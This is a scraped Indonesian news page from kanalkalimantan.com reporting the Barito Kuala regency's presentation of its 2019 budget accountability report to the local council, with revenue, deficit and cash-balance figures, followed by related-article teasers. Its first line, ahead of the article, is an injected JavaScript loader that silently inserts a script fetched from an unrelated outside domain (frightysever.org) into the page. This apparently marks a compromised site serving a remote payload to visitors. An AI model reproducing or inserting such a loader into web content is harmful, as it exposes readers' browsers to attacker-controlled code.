(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN – Pemkab Batola melalui Wakil Bupati (Wabup) H Rahmadian Noor menyampaikan pertanggungjawaban pelaksanaan APBD Tahun Anggaran (TA) 2019 kepada DPRD, Kamis (2/7/2020).
Terdapat tujuh item laporan yang disampaikan dalam paripurna yang dipimpin Ketua DPRD Saleh dan Wakil Ketua Agung Purnomo dan Hj Arpah. Tujuh item itu di antaranya laporan realisasi APBD 2019, laporan perubahan saldo anggaran lebih, neraca yang menyangkut aset, kewajiban dan ekuiteas, laporan operasional, laporan arus kas, laporan perubahan ekuitas, dan cataatan atas laporan keuangan.
Bupati Batola Hj Noormiliyani AS dalam sambutan disampaikan Wabup Rahmadian Noor menyatakan, kinerja tahun 2019 telah disampaikan sebagai Laporan Keterangan Pertanggungjawaban (LKPj) dan telah mendapat pencermatan serta rekomendasi dari dewan.
Karenanya, pertanggungjawaban pelaksanaan APBD TA 2019, akan melengkapi LKPj yang telah disampaikan sebelumnya. “Khususnya materi dari sisi penganggaran meliputi realisasi anggaran pendapatan, anggaran belanja, maupun pembiayaan yang tertuang dalam APBD TA 2019 yang telah mendapat audit BPK RI Perwakilan Kalsel,” katanya.
Penyampaian pertanggungjawaban APBD Tahun 2019, juga merupakan pemenuhan kewajiban pemerintah daerah sebagaimana tertuang dalam pasal 320 Undang-Undang Nomor 23 Tahun 2014 yang sekaligus sebagai awal pemenuhan bagi proses evaluasi pertanggungjawaban pelaksanaan APBD oleh gubernur. sebagaimana diatur pada pasal 322.
Sedangkan bentuk pertanggungjawaban pemerintah kabupaten yang disampaikan ke dewan, lanjutnya, dituangkan dalam Laporan Keuangan Pemerintah Daerah (LKPD) Kabupaten Barito Kuala Tahun 2019.
“Walhasil, kinerja yang diwujudkan sepanjang tahun 2019, yang dilaksanakan dengan ketekunan, kerja keras serta komitmen tinggi yang diaudit BPK di tahun 2020 hasilnya mampu mempertahankan kerja pengelolaan keuangan, aset dan kinerja dengan kategori opini WTP (Wajar Tanpa Pengecualian) yang kelima kalinya secara berturut-turut,” terangnya.
Adapun pokok-pokok pertanggungjawaban yang disampaikan terdiri dari Laporan Realisasi APBD Tahun 2019 dengan struktur pendapatan Rp 1.290.449.373.322,92 (101,99 persen), Belanja dan Transfer Rp1.311.885.104.405, (92,70 persen). Dengan demikian terjadi defisit Rp21.435.731.082,09. Nilai defisit tersebut diimbangi penerimaan pembiayaan Rp165.539.613.677,65 dan pengeluaran pembiayaan Rp14.271.355.000,00 sehingga jumlah pembiayaan bersih Rp151.268.258.677,65. Dengan demikian terdapat sisa lebih pembiayaan anggaran (Silpa) Rp129.832.527.595,56.
Dari seluruh aktivitas pengelolaan anggraan di tahun 2019 baik menyangkut aktivitas operasi, aktivitas investasi aset non keuangan dan aktivitas pembiayaan serta aktivitas non anggaran telah memberikan gambaran dinamika arus dana pendapatan dan arus dana belanja dari seluruh dana. Dimana status dinamika pada akhir tahun 2019 (terminalisasi arus kas APBD Tahun 2019 per 31 Desember diidentifikasi dari laporan arus kas jumlah saldo akhir Rp129.842.168.864,56.
Total saldo akhir tersebut masing-masing terdapat di kas bendaraha Rp125.093.864.546,83, posisi kas di badan layanan umum daerah Rp945.591.159,73, posisi di Jaminan Kesehatan Nasional Rp2.177.719.329,00, posisi kas dana BOS Rp1.615.352.560,00, kas lainnya (hutang PFK) Rp9.641.269,00.(kanalkalimantan.com/rdy)
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
This website uses cookies.